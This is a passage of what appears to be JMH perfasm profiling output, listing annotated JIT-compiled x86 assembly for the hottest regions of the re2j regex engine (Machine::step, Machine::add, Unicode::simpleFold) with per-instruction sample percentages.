;*if_icmpgt │ │ ; - com.google.re2j.Unicode::toUpper@9 (line 167) │ │ ; - com.google.re2j.Unicode::simpleFold@83 (line 227) │ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.46% 0.43% │ │ 0x00007f372cbe275a: cmp $0x7a,%r8d │ │ 0x00007f372cbe275e: jg 0x00007f372cbe2fc5 ;*if_icmpgt │ │ ; - com.google.re2j.Unicode::toUpper@15 (line 167) │ │ ; - com.google.re2j.Unicode::simpleFold@83 (line 227) │ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) │ │ 0x00007f372cbe2764: mov %r8d,%r10d 0.01% 0.02% │ │ 0x00007f372cbe2767: add $0xffffffe0,%r10d ; OopMap{r9=Oop rbx=NarrowOop rdi=NarrowOop rsi=Oop r13=Oop r14=NarrowOop [8]=Oop [24]=Oop [40]=Oop off=1451} │ │ ;*goto │ │ ; - com.google.re2j.Inst::matchRune@54 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.05% 0.07% ↘ │ 0x00007f372cbe276b: test %eax,0x1601588f(%rip) # 0x00007f3742bf8000 │ ;*goto │ ; - com.google.re2j.Inst::matchRune@54 (line 57) │ ; - com.google.re2j.Machine::step@294 (line 310) │ ; {poll} 0.41% 0.48% │ 0x00007f372cbe2771: cmp %eax,%r10d │ 0x00007f372cbe2774: je 0x00007f372cbe2619 ;*if_icmpeq │ ; - com.google.re2j.Inst::matchRune@39 (line 56) │ ; - com.google.re2j.Machine::step@294 (line 310) │ 0x00007f372cbe277a: mov %eax,%r11d ;*iload_1 │ ; - com.google.re2j.Inst::matchRune@42 (line 58) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.25% 0.36% │ 0x00007f372cbe277d: cmp %r10d,%ecx 0.21% 0.34% ╭ │ 0x00007f372cbe2780: je 0x00007f372cbe284f ;*if_icmpne │ │ ; - com.google.re2j.Inst::matchRune@44 (line 58) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.00% 0.00% │ │ 0x00007f372cbe2786: mov %r10d,0x20(%rsp) 0.01% 0.01% │ │ 0x00007f372cbe278b: mov %r11d,%eax 0.24% 0.31% │ │ 0x00007f372cbe278e: mov $0x1f,%r11d 0.23% 0.35% │ │ 0x00007f372cbe2794: mov $0x1f,%r10d │ │ 0x00007f372cbe279a: xor %r8d,%r8d 0.00% 0.01% │ │ 0x00007f372cbe279d: mov $0x3f,%edx 0.25% 0.40% │ │ 0x00007f372cbe27a2: mov %r8d,0x30(%rsp) 0.27% 0.22% │╭│ 0x00007f372cbe27a7: jmp 0x00007f372cbe27e6 │││ 0x00007f372cbe27a9: nopl 0x0(%rax) 0.76% 1.02% │││↗ 0x00007f372cbe27b0: mov 0x30(%rsp),%r8d ; OopMap{r9=Oop rbx=NarrowOop rdi=NarrowOop rsi=Oop r13=Oop r14=NarrowOop [8]=Oop [24]=Oop [40]=Oop off=1525} ││││ ;*goto ││││ ; - com.google.re2j.Unicode::simpleFold@40 (line 214) ││││ ; - com.google.re2j.Inst::matchRune@50 (line 57) ││││ ; - com.google.re2j.Machine::step@294 (line 310) 0.74% 1.04% ││││↗ 0x00007f372cbe27b5: test %eax,0x16015845(%rip) # 0x00007f3742bf8000 │││││ ;*goto │││││ ; - com.google.re2j.Unicode::simpleFold@40 (line 214) │││││ ; - com.google.re2j.Inst::matchRune@50 (line 57) │││││ ; - com.google.re2j.Machine::step@294 (line 310) │││││ ; {poll} 0.65% 0.79% │││││ 0x00007f372cbe27bb: cmp %r10d,%r8d ││╰││ 0x00007f372cbe27be: jge 0x00007f372cbe26ef ;*if_icmpge ││ ││ ; - com.google.re2j.Unicode::simpleFold@9 (line 207) ││ ││ ; - com.google.re2j.Inst::matchRune@50 (line 57) ││ ││ ; - com.google.re2j.Machine::step@294 (line 310) 0.58% 0.71% ││ ││ 0x00007f372cbe27c4: mov %r8d,0x30(%rsp) 0.58% 0.75% ││ ││ 0x00007f372cbe27c9: mov %r10d,%edx 0.60% 0.87% ││ ││ 0x00007f372cbe27cc: sub %r8d,%r10d ;*isub ││ ││ ; - com.google.re2j.Unicode::simpleFold@15 (line 208) ││ ││ ; - com.google.re2j.Inst::matchRune@50 (line 57) ││ ││ ; - com.google.re2j.Machine::step@294 (line 310) 0.54% 0.74% ││ ││ 0x00007f372cbe27cf: mov %r10d,%r11d 0.49% 0.66% ││ ││ 0x00007f372cbe27d2: sar $0x1f,%r11d 0.57% 0.92% ││ ││ 0x00007f372cbe27d6: shr $0x1f,%r11d 0.72% 0.76% ││ ││ 0x00007f372cbe27da: add %r10d,%r11d 0.53% 0.68% ││ ││ 0x00007f372cbe27dd: sar %r11d 0.48% 0.62% ││ ││ 0x00007f372cbe27e0: mov %r8d,%r10d 0.59% 0.60% ││ ││ 0x00007f372cbe27e3: add %r11d,%r10d ;*idiv ││ ││ ; - com.google.re2j.Unicode::simpleFold@17 (line 208) ││ ││ ; - com.google.re2j.Inst::matchRune@50 (line 57) ││ ││ ; - com.google.re2j.Machine::step@294 (line 310) 0.62% 0.76% │↘ ││ 0x00007f372cbe27e6: cmp $0x3f,%r10d │ ││ 0x00007f372cbe27ea: jae 0x00007f372cbe28e9 0.57% 0.69% │ ││ 0x00007f372cbe27f0: movslq 0x30(%rsp),%r8 1.02% 1.32% │ ││ 0x00007f372cbe27f5: movslq %r11d,%r11 0.79% 1.02% │ ││ 0x00007f372cbe27f8: add %r11,%r8 0.73% 0.81% │ ││ 0x00007f372cbe27fb: mov 0x10(%r9,%r8,4),%ebp ;*aaload │ ││ ; - com.google.re2j.Unicode::simpleFold@24 (line 209) │ ││ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ││ ; - com.google.re2j.Machine::step@294 (line 310) 0.72% 0.76% │ ││ 0x00007f372cbe2800: mov 0xc(%r12,%rbp,8),%r11d ; implicit exception: dispatches to 0x00007f372cbe30dd 1.45% 1.93% │ ││ 0x00007f372cbe2805: test %r11d,%r11d │ ││ 0x00007f372cbe2808: jbe 0x00007f372cbe2935 ;*iaload │ ││ ; - com.google.re2j.Unicode::simpleFold@26 (line 209) │ ││ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ ││ ; - com.google.re2j.Machine::step@294 (line 310) 1.07% 1.44% │ ││ 0x00007f372cbe280e: mov 0x10(%r12,%rbp,8),%r8d 0.48% 0.65% │ ││ 0x00007f372cbe2813: cmp 0x20(%rsp),%r8d │ ╰│ 0x00007f372cbe2818: jge 0x00007f372cbe27b0 ;*if_icmpge │ │ ; - com.google.re2j.Unicode::simpleFold@28 (line 209) │ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.39% 0.41% │ │ 0x00007f372cbe281a: mov %r10d,%r8d 0.15% 0.23% │ │ 0x00007f372cbe281d: inc %r8d ;*iadd │ │ ; - com.google.re2j.Unicode::simpleFold@33 (line 210) │ │ ; - com.google.re2j.Inst::matchRune@50 (line 57) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.12% 0.25% │ │ 0x00007f372cbe2820: mov %edx,%r10d 0.01% 0.03% │ ╰ 0x00007f372cbe2823: jmp 0x00007f372cbe27b5 0.02% 0.00% │ 0x00007f372cbe2825: xor %r10d,%r10d │ 0x00007f372cbe2828: mov 0x20(%rsp),%r9d │ 0x00007f372cbe282d: mov 0x7c(%rsp),%eax 0.00% 0.01% │ 0x00007f372cbe2831: jmpq 0x00007f372cbe232e │ 0x00007f372cbe2836: mov 0x80(%rsp),%ecx │ 0x00007f372cbe283d: test %ecx,%ecx │ 0x00007f372cbe283f: jne 0x00007f372cbe2465 ;*ifne │ ; - com.google.re2j.Machine::step@160 (line 287) │ 0x00007f372cbe2845: mov 0x20(%rsp),%r9d │ 0x00007f372cbe284a: jmpq 0x00007f372cbe224d 0.01% 0.01% ↘ 0x00007f372cbe284f: mov %ecx,0x20(%rsp) 0.04% 0.04% 0x00007f372cbe2853: jmpq 0x00007f372cbe2289 0.00% 0.00% 0x00007f372cbe2858: mov %r10d,0x74(%rsp) 0.00% 0x00007f372cbe285d: mov %eax,0x7c(%rsp) 0x00007f372cbe2861: mov %ebx,%edi 0x00007f372cbe2863: mov %r11,%r13 0x00007f372cbe2866: jmpq 0x00007f372cbe2289 0x00007f372cbe286b: mov $0xffffffe4,%esi 0x00007f372cbe2870: mov 0x8(%rsp),%rbp 0x00007f372cbe2875: mov %r11d,0x7c(%rsp) 0x00007f372cbe287a: mov %r10d,0x8(%rsp) 0x00007f372cbe287f: mov 0x10(%rsp),%r11d 0x00007f372cbe2884: mov %r11d,0xc(%rsp) 0x00007f372cbe2889: mov 0x14(%rsp),%r10d .................................................................................................... 19.81% 25.12% <total for region 1> ....[Hottest Region 2].............................................................................. C2, level 4, com.google.re2j.Machine::add, version 487 (308 bytes) # parm4: rdi = int # parm5: [sp+0x70] = &apos;com/google/re2j/Machine$Thread&apos; (sp of caller) 0x00007f372cbd5540: mov 0x8(%rsi),%r10d ; {no_reloc} 0x00007f372cbd5544: shl $0x3,%r10 0x00007f372cbd5548: cmp %r10,%rax 0x00007f372cbd554b: jne 0x00007f372ca0ce20 ; {runtime_call} 0x00007f372cbd5551: data16 xchg %ax,%ax 0x00007f372cbd5554: nopl 0x0(%rax,%rax,1) 0x00007f372cbd555c: data16 data16 xchg %ax,%ax [Verified Entry Point] 0.70% 0.69% 0x00007f372cbd5560: mov %eax,-0x14000(%rsp) 0.17% 0.12% 0x00007f372cbd5567: push %rbp 0.71% 0.49% 0x00007f372cbd5568: sub $0x60,%rsp ;*synchronization entry ; - com.google.re2j.Machine::add@-1 (line 344) 0.36% 0.30% 0x00007f372cbd556c: mov %edi,0x28(%rsp) 0.29% 0.16% 0x00007f372cbd5570: mov %r9,0x20(%rsp) 0.38% 0.43% 0x00007f372cbd5575: mov %r8d,0x1c(%rsp) 0.41% 0.29% 0x00007f372cbd557a: mov %rsi,0x8(%rsp) 0.05% 0.07% 0x00007f372cbd557f: mov %ecx,0x30(%rsp) 0.11% 0.14% 0x00007f372cbd5583: test %ecx,%ecx 0x00007f372cbd5585: je 0x00007f372cbd57fd ;*ifne ; - com.google.re2j.Machine::add@1 (line 344) 0.35% 0.29% 0x00007f372cbd558b: mov %rdx,0x48(%rsp) 0.33% 0.26% 0x00007f372cbd5590: mov 0x14(%rdx),%r10d ;*getfield sparse ; - com.google.re2j.Machine$Queue::contains@1 (line 46) ; - com.google.re2j.Machine::add@9 (line 347) ; implicit exception: dispatches to 0x00007f372cbd5bdd 0.06% 0.03% 0x00007f372cbd5594: mov 0xc(%r12,%r10,8),%r11d ; implicit exception: dispatches to 0x00007f372cbd5bf1 0.14% 0.14% 0x00007f372cbd5599: cmp %r11d,%ecx 0x00007f372cbd559c: jae 0x00007f372cbd572a ;*iaload ; - com.google.re2j.Machine$Queue::contains@5 (line 46) ; - com.google.re2j.Machine::add@9 (line 347) 0.34% 0.28% 0x00007f372cbd55a2: mov 0x10(%rdx),%r11d ;*getfield dense ; - com.google.re2j.Machine$Queue::contains@18 (line 50) ; - com.google.re2j.Machine::add@9 (line 347) 0.47% 0.20% 0x00007f372cbd55a6: mov 0xc(%rdx),%r8d ;*getfield size ; - com.google.re2j.Machine$Queue::contains@9 (line 47) ; - com.google.re2j.Machine::add@9 (line 347) 0.07% 0.07% 0x00007f372cbd55aa: lea (%r12,%r10,8),%rcx 0.13% 0.08% 0x00007f372cbd55ae: mov 0x30(%rsp),%r9d 0.36% 0.34% 0x00007f372cbd55b3: mov 0x10(%rcx,%r9,4),%ebp ;*iaload ; - com.google.re2j.Machine$Queue::contains@5 (line 46) ; - com.google.re2j.Machine::add@9 (line 347) 0.69% 0.34% 0x00007f372cbd55b8: cmp %r8d,%ebp ╭ 0x00007f372cbd55bb: jl 0x00007f372cbd5678 ;*invokevirtual contains │ ; - com.google.re2j.Machine::add@9 (line 347) 0.58% 0.47% │↗ 0x00007f372cbd55c1: mov 0x30(%rsp),%r10d 0.12% 0.05% ││ 0x00007f372cbd55c6: mov %r8d,0x10(%rcx,%r10,4) ;*iastore ││ ; - com.google.re2j.Machine$Queue::add@18 (line 58) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.36% 0.23% ││ 0x00007f372cbd55cb: mov %r8d,%r10d 0.23% 0.15% ││ 0x00007f372cbd55ce: inc %r10d 0.30% 0.25% ││ 0x00007f372cbd55d1: mov %r10d,0xc(%rdx) ;*putfield size ││ ; - com.google.re2j.Machine$Queue::add@8 (line 57) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.04% 0.05% ││ 0x00007f372cbd55d5: mov 0xc(%r12,%r11,8),%r10d ; implicit exception: dispatches to 0x00007f372cbd5c05 0.21% 0.36% ││ 0x00007f372cbd55da: cmp %r10d,%r8d ││ 0x00007f372cbd55dd: jae 0x00007f372cbd5761 ;*aaload ││ ; - com.google.re2j.Machine$Queue::add@24 (line 59) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.30% 0.17% ││ 0x00007f372cbd55e3: lea (%r12,%r11,8),%r10 ;*getfield dense ││ ; - com.google.re2j.Machine$Queue::contains@18 (line 50) ││ ; - com.google.re2j.Machine::add@9 (line 347) 0.34% 0.21% ││ 0x00007f372cbd55e7: mov %r10,0x40(%rsp) 0.05% 0.05% ││ 0x00007f372cbd55ec: lea 0x10(%r10,%r8,4),%rbp 0.25% 0.31% ││ 0x00007f372cbd55f1: mov 0x0(%rbp),%r9d ;*aaload ││ ; - com.google.re2j.Machine$Queue::add@24 (line 59) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.21% 0.18% ││ 0x00007f372cbd55f5: test %r9d,%r9d ││ 0x00007f372cbd55f8: je 0x00007f372cbd56c1 ;*ifnonnull ││ ; - com.google.re2j.Machine$Queue::add@27 (line 60) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.26% 0.27% ││ 0x00007f372cbd55fe: lea (%r12,%r9,8),%rbx ;*aload_3 ││ ; - com.google.re2j.Machine$Queue::add@45 (line 63) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.05% 0.06% ││ 0x00007f372cbd5602: mov 0x30(%rsp),%r11d 0.25% 0.28% ││ 0x00007f372cbd5607: mov %r11d,0xc(%rbx) ;*putfield pc ││ ; - com.google.re2j.Machine$Queue::add@52 (line 64) ││ ; - com.google.re2j.Machine::add@20 (line 350) 1.39% 1.06% ││ 0x00007f372cbd560b: mov 0x8(%rsp),%r10 0.17% 0.12% ││ 0x00007f372cbd5610: mov 0x18(%r10),%r11d ;*getfield prog ││ ; - com.google.re2j.Machine::add@26 (line 351) 0.07% 0.12% ││ 0x00007f372cbd5614: mov %r12d,0x10(%rbx) ;*putfield thread ││ ; - com.google.re2j.Machine$Queue::add@47 (line 63) ││ ; - com.google.re2j.Machine::add@20 (line 350) 0.24% 0.36% ││ 0x00007f372cbd5618: mov 0x18(%r12,%r11,8),%ebp ;*getfield inst ││ ; - com.google.re2j.Prog::getInst@1 (line 30) ││ ; - com.google.re2j.Machine::add@30 (line 351) ││ ; implicit exception: dispatches to 0x00007f372cbd5c19 0.84% 0.75% ││ 0x00007f372cbd561d: mov 0xc(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007f372cbd5c2d 0.67% 0.70% ││ 0x00007f372cbd5622: mov 0x30(%rsp),%r11d 0.00% 0.00% ││ 0x00007f372cbd5627: cmp %r10d,%r11d ││ 0x00007f372cbd562a: jae 0x00007f372cbd57b1 0.52% 0.44% ││ 0x00007f372cbd5630: lea (%r12,%rbp,8),%r10 0.45% 0.27% ││ 0x00007f372cbd5634: mov 0x10(%r10,%r11,4),%r11d ;*aaload ││ ; - com.google.re2j.Prog::getInst@5 (line 30) ││ ; - com.google.re2j.Machine::add@30 (line 351) 0.13% 0.13% ││ 0x00007f372cbd5639: mov %r11d,0x2c(%rsp) 0.19% 0.21% ││ 0x00007f372cbd563e: mov 0xc(%r12,%r11,8),%r8d ;*getfield op ││ ; - com.google.re2j.Machine::add@37 (line 352) ││ ; implicit exception: dispatches to 0x00007f372cbd5c41 1.85% 1.50% ││ 0x00007f372cbd5643: mov %r8d,%r10d 0.20% 0.05% ││ 0x00007f372cbd5646: dec %r10d 0.54% 0.51% ││ 0x00007f372cbd5649: cmp $0xb,%r10d ││ 0x00007f372cbd564d: jae 0x00007f372cbd57ed ;*tableswitch ││ ; - com.google.re2j.Machine::add@40 (line 352) 0.58% 0.56% ││ 0x00007f372cbd5653: mov 0x10(%r12,%r11,8),%ecx ;*getfield out ││ ; - com.google.re2j.Machine::add@193 (line 372) 0.06% 0.06% ││ 0x00007f372cbd5658: mov 0x14(%r12,%r11,8),%r11d ;*getfield arg ││ ; - com.google.re2j.Machine::add@156 (line 366) 0.12% 0.03% ││ 0x00007f372cbd565d: movslq %r8d,%r10 0.07% 0.10% ││ 0x00007f372cbd5660: mov 0x2c(%rsp),%r9d 0.42% 0.48% ││ 0x00007f372cbd5665: lea (%r12,%r9,8),%rax ;*aaload ││ ; - com.google.re2j.Prog::getInst@5 (line 30) ││ ; - com.google.re2j.Machine::add@30 (line 351) 0.06% 0.05% ││ 0x00007f372cbd5669: movabs $0x7f372cbd54e0,%r8 ; {section_word} 0.10% 0.04% ││ 0x00007f372cbd5673: jmpq *-0x8(%r8,%r10,8) ;*tableswitch ││ ; - com.google.re2j.Machine::add@40 (line 352) 0.02% 0.01% ↘│ 0x00007f372cbd5678: mov 0xc(%r12,%r11,8),%r10d ; implicit exception: dispatches to 0x00007f372cbd5c9d 0.01% 0.01% │ 0x00007f372cbd567d: cmp %r10d,%ebp 0.10% 0.09% │ 0x00007f372cbd5680: jae 0x00007f372cbd5825 0.02% 0.06% │ 0x00007f372cbd5686: lea (%r12,%r11,8),%r10 0.00% │ 0x00007f372cbd568a: mov 0x10(%r10,%rbp,4),%r9d ;*aaload │ ; - com.google.re2j.Machine$Queue::contains@22 (line 50) │ ; - com.google.re2j.Machine::add@9 (line 347) 0.09% 0.12% │ 0x00007f372cbd568f: mov 0xc(%r12,%r9,8),%ebp ;*getfield pc │ ; - com.google.re2j.Machine$Queue::contains@29 (line 51) │ ; - com.google.re2j.Machine::add@9 (line 347) │ ; implicit exception: dispatches to 0x00007f372cbd5cbd 0.44% 0.50% │ 0x00007f372cbd5694: cmp 0x30(%rsp),%ebp ╰ 0x00007f372cbd5698: jne 0x00007f372cbd55c1 ;*if_icmpne ; - com.google.re2j.Machine$Queue::contains@33 (line 51) ; - com.google.re2j.Machine::add@9 (line 347) 0x00007f372cbd569e: mov $0xffffff65,%esi 0x00007f372cbd56a3: mov %rax,-0x8(%rsp) 0x00007f372cbd56a8: mov 0x30(%rsp),%eax 0x00007f372cbd56ac: mov %eax,0x18(%rsp) .................................................................................................... 19.06% 16.16% <total for region 2> ....[Hottest Region 3].............................................................................. C2, level 4, com.google.re2j.Machine::step, version 495 (219 bytes) ; - com.google.re2j.Machine::step@225 (line 296) 0x00007f372cbe24f5: mov 0x8(%rsp),%rcx 0x00007f372cbe24fa: mov 0xc(%rcx),%ecx 0x00007f372cbe24fd: cmp %ecx,%eax 0x00007f372cbe24ff: jge 0x00007f372cbe26bf ;*if_icmpge ; - com.google.re2j.Machine::step@242 (line 298) 0x00007f372cbe2505: mov %eax,%ecx 0x00007f372cbe2507: jmpq 0x00007f372cbe2693 ;*if_icmpge ; - com.google.re2j.Machine::step@18 (line 270) 0x00007f372cbe250c: mov 0x8(%rsp),%r10 0.04% 0.02% 0x00007f372cbe2511: mov %r12d,0xc(%r10) ;*getfield size ; - com.google.re2j.Machine::step@15 (line 270) 0.08% 0.05% 0x00007f372cbe2515: add $0x60,%rsp 0x00007f372cbe2519: pop %rbp 0x00007f372cbe251a: test %eax,0x16015ae0(%rip) # 0x00007f3742bf8000 ; {poll_return} 0.04% 0.03% 0x00007f372cbe2520: retq 0.55% 0.84% ↗ 0x00007f372cbe2521: mov %eax,%r11d ; OopMap{r9=Oop rbx=NarrowOop rdi=NarrowOop rsi=Oop r13=Oop r14=NarrowOop [8]=Oop [24]=Oop [40]=Oop off=868} │ ;*goto │ ; - com.google.re2j.Unicode::simpleFold@40 (line 214) │ ; - com.google.re2j.Inst::matchRune@33 (line 55) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.99% 0.84% │↗ 0x00007f372cbe2524: test %eax,0x16015ad6(%rip) # 0x00007f3742bf8000 ││ ;*goto ││ ; - com.google.re2j.Unicode::simpleFold@40 (line 214) ││ ; - com.google.re2j.Inst::matchRune@33 (line 55) ││ ; - com.google.re2j.Machine::step@294 (line 310) ││ ; {poll} 0.76% 0.69% ││ 0x00007f372cbe252a: cmp %r8d,%r11d ╭││ 0x00007f372cbe252d: jge 0x00007f372cbe2590 ;*if_icmpge │││ ; - com.google.re2j.Unicode::simpleFold@9 (line 207) │││ ; - com.google.re2j.Inst::matchRune@33 (line 55) │││ ; - com.google.re2j.Machine::step@294 (line 310) 0.46% 0.55% │││ 0x00007f372cbe252f: mov %r8d,%r10d 0.45% 0.61% │││ 0x00007f372cbe2532: vmovd %r8d,%xmm0 0.95% 0.74% │││ 0x00007f372cbe2537: mov %r11d,%eax 0.53% 0.33% │││ 0x00007f372cbe253a: sub %r11d,%r10d ;*isub │││ ; - com.google.re2j.Unicode::simpleFold@15 (line 208) │││ ; - com.google.re2j.Inst::matchRune@33 (line 55) │││ ; - com.google.re2j.Machine::step@294 (line 310) 0.49% 0.51% │││ 0x00007f372cbe253d: mov %r10d,%edx 0.59% 0.64% │││ 0x00007f372cbe2540: sar $0x1f,%edx 0.89% 0.57% │││ 0x00007f372cbe2543: shr $0x1f,%edx 0.47% 0.11% │││ 0x00007f372cbe2546: add %r10d,%edx 0.59% 0.46% │││ 0x00007f372cbe2549: sar %edx 0.49% 0.57% │││ 0x00007f372cbe254b: mov %r11d,%r8d 0.95% 0.59% │││ 0x00007f372cbe254e: add %edx,%r8d ;*idiv │││ ; - com.google.re2j.Unicode::simpleFold@17 (line 208) │││ ; - com.google.re2j.Inst::matchRune@33 (line 55) │││ ; - com.google.re2j.Machine::step@294 (line 310) 0.51% 0.28% │││ 0x00007f372cbe2551: cmp $0x3f,%r8d │││ 0x00007f372cbe2555: jae 0x00007f372cbe29b5 0.49% 0.71% │││ 0x00007f372cbe255b: movslq %eax,%r10 1.02% 0.95% │││ 0x00007f372cbe255e: movslq %edx,%r11 1.03% 1.06% │││ 0x00007f372cbe2561: add %r11,%r10 0.49% 0.80% │││ 0x00007f372cbe2564: mov 0x10(%r9,%r10,4),%ebp ;*aaload │││ ; - com.google.re2j.Unicode::simpleFold@24 (line 209) │││ ; - com.google.re2j.Inst::matchRune@33 (line 55) │││ ; - com.google.re2j.Machine::step@294 (line 310) 0.41% 0.53% │││ 0x00007f372cbe2569: mov 0xc(%r12,%rbp,8),%r11d ; implicit exception: dispatches to 0x00007f372cbe310d 1.11% 0.95% │││ 0x00007f372cbe256e: test %r11d,%r11d │││ 0x00007f372cbe2571: jbe 0x00007f372cbe2a05 ;*iaload │││ ; - com.google.re2j.Unicode::simpleFold@26 (line 209) │││ ; - com.google.re2j.Inst::matchRune@33 (line 55) │││ ; - com.google.re2j.Machine::step@294 (line 310) 0.91% 1.17% │││ 0x00007f372cbe2577: mov 0x10(%r12,%rbp,8),%r11d 0.53% 0.92% │││ 0x00007f372cbe257c: cmp 0x20(%rsp),%r11d │╰│ 0x00007f372cbe2581: jge 0x00007f372cbe2521 ;*if_icmpge │ │ ; - com.google.re2j.Unicode::simpleFold@28 (line 209) │ │ ; - com.google.re2j.Inst::matchRune@33 (line 55) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.02% 0.03% │ │ 0x00007f372cbe2583: mov %r8d,%r11d 0.01% 0.00% │ │ 0x00007f372cbe2586: inc %r11d ;*iadd │ │ ; - com.google.re2j.Unicode::simpleFold@33 (line 210) │ │ ; - com.google.re2j.Inst::matchRune@33 (line 55) │ │ ; - com.google.re2j.Machine::step@294 (line 310) 0.17% 0.29% │ │ 0x00007f372cbe2589: vmovd %xmm0,%r8d 0.00% │ ╰ 0x00007f372cbe258e: jmp 0x00007f372cbe2524 0.26% 0.30% ↘ 0x00007f372cbe2590: cmp $0x3f,%r11d 0x00007f372cbe2594: jge 0x00007f372cbe2eb5 ;*if_icmpge ; - com.google.re2j.Unicode::simpleFold@48 (line 215) ; - com.google.re2j.Inst::matchRune@33 (line 55) ; - com.google.re2j.Machine::step@294 (line 310) 0x00007f372cbe259a: cmp $0x3f,%r11d 0x00007f372cbe259e: jae 0x00007f372cbe2ba1 0.00% 0.01% 0x00007f372cbe25a4: mov 0x10(%r9,%r11,4),%ebp ;*aaload ; - com.google.re2j.Unicode::simpleFold@55 (line 215) ; - com.google.re2j.Inst::matchRune@33 (line 55) ; - com.google.re2j.Machine::step@294 (line 310) 0.23% 0.31% 0x00007f372cbe25a9: mov 0xc(%r12,%rbp,8),%r10d ; implicit exception: dispatches to 0x00007f372cbe31c5 0.35% 0.33% 0x00007f372cbe25ae: test %r10d,%r10d 0x00007f372cbe25b1: jbe 0x00007f372cbe2c2d 0.01% 0x00007f372cbe25b7: mov 0x10(%r12,%rbp,8),%ebp ;*iaload ; - com.google.re2j.Unicode::simpleFold@57 (line 215) ; - com.google.re2j.Inst::matchRune@33 (line 55) ; - com.google.re2j.Machine::step@294 (line 310) 0.01% 0.01% 0x00007f372cbe25bc: cmp 0x20(%rsp),%ebp 0.30% 0.29% 0x00007f372cbe25c0: je 0x00007f372cbe2ef9 ;*if_icmpne ; - com.google.re2j.Unicode::simpleFold@59 (line 215) ; - com.google.re2j.Inst::matchRune@33 (line 55) ; - com.google.re2j.Machine::step@294 (line 310) 0.22% 0.29% 0x00007f372cbe25c6: mov 0x20(%rsp),%r11d 0x00007f372cbe25cb: cmp $0x7f,%r11d 0x00007f372cbe25cf: jg 0x00007f372cbe2f31 ;*if_icmpgt ; - com.google.re2j.Unicode::toLower@3 (line 177) ; - com.google.re2j.Unicode::simpleFold@71 (line 223) ; - com.google.re2j.Inst::matchRune@33 (line 55) ; - com.google.re2j.Machine::step@294 (line 310) 0.00% 0.00% 0x00007f372cbe25d5: cmp $0x41,%r11d 0x00007f372cbe25d9: jl 0x00007f372cbe2dbd ;*if_icmpgt ; - com.google.re2j.Unicode::toLower@9 (line 178) ; - com.google.re2j.Unicode::simpleFold@71 (line 223) ; - com.google.re2j.Inst::matchRune@33 (line 55) ; - com.google.re2j.Machine::step@294 (line 310) 0.20% 0.25% 0x00007f372cbe25df: cmp $0x5a,%r11d ╭ 0x00007f372cbe25e3: jg 0x00007f372cbe25f5 ;*if_icmpgt │ ; - com.google.re2j.Unicode::toLower@15 (line 178) │ ; - com.google.re2j.Unicode::simpleFold@71 (line 223) │ ; - com.google.re2j.Inst::matchRune@33 (line 55) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.22% 0.35% │ 0x00007f372cbe25e5: mov %r11d,%r10d │ 0x00007f372cbe25e8: add $0x20,%r10d ;*iinc │ ; - com.google.re2j.Unicode::toLower@18 (line 179) │ ; - com.google.re2j.Unicode::simpleFold@71 (line 223) │ ; - com.google.re2j.Inst::matchRune@33 (line 55) │ ; - com.google.re2j.Machine::step@294 (line 310) 0.00% 0.01% │ 0x00007f372cbe25ec: cmp %r11d,%r10d │ 0x00007f372cbe25ef: jne 0x00007f372cbe277d ;*if_icmpeq │ ; - com.google.re2j.Unicode::simpleFold@77 (line 224) │ ; - com.google.re2j.Inst::matchRune@33 (line 55) │ ; - com.google.re2j.Machine::step@294 (line 310) ↘ 0x00007f372cbe25f5: cmp $0x61,%r11d 0x00007f372cbe25f9: jl 0x00007f372cbe300d ;*if_icmpgt .................................................................................................... 17.83% 18.01% <total for region 3> ....[Hottest Region 4].............................................................................. C2, level 4, com.google.re2j.Machine::step, version 495 (398 bytes) ;*invokespecial add ; - com.google.re2j.Machine::step@380 (line 329) ; {optimized virtual_call} 0x00007f372cbe22b4: mov %rax,%rcx 0x00007f372cbe22b7: test %rax,%rax 0x00007f372cbe22ba: je 0x00007f372cbe2825 0x00007f372cbe22c0: mov 0x20(%rsp),%r9d 0x00007f372cbe22c5: mov 0x74(%rsp),%r10d 0x00007f372cbe22ca: mov 0x7c(%rsp),%eax ;*aload ; - com.google.re2j.Machine::step@385 (line 331) 0.37% 0.44% 0x00007f372cbe22ce: mov 0x28(%rsp),%r11 0.00% 0x00007f372cbe22d3: mov 0x24(%r11),%ebx ;*getfield pool ; - com.google.re2j.Machine::free@5 (line 160) ; - com.google.re2j.Machine::step@393 (line 332) 0.01% 0x00007f372cbe22d7: mov 0xc(%r12,%rbx,8),%r11d ;*arraylength ; - com.google.re2j.Machine::free@8 (line 160) ; - com.google.re2j.Machine::step@393 (line 332) ; implicit exception: dispatches to 0x00007f372cbe30fd 0.05% 0.12% 0x00007f372cbe22dc: mov 0x28(%rsp),%r8 0.36% 0.41% 0x00007f372cbe22e1: mov 0xc(%r8),%ebp ;*getfield poolSize ; - com.google.re2j.Machine::free@1 (line 160) ; - com.google.re2j.Machine::step@393 (line 332) 0x00007f372cbe22e5: cmp %r11d,%ebp 0x00007f372cbe22e8: jge 0x00007f372cbe2ad5 ;*if_icmplt ; - com.google.re2j.Machine::free@9 (line 160) ; - com.google.re2j.Machine::step@393 (line 332) 0.01% 0x00007f372cbe22ee: mov %ebp,%r8d 0.04% 0.08% 0x00007f372cbe22f1: inc %r8d 0.45% 0.51% 0x00007f372cbe22f4: mov 0x28(%rsp),%rdi 0x00007f372cbe22f9: mov %r8d,0xc(%rdi) ;*putfield poolSize ; - com.google.re2j.Machine::free@45 (line 163) ; - com.google.re2j.Machine::step@393 (line 332) 0.02% 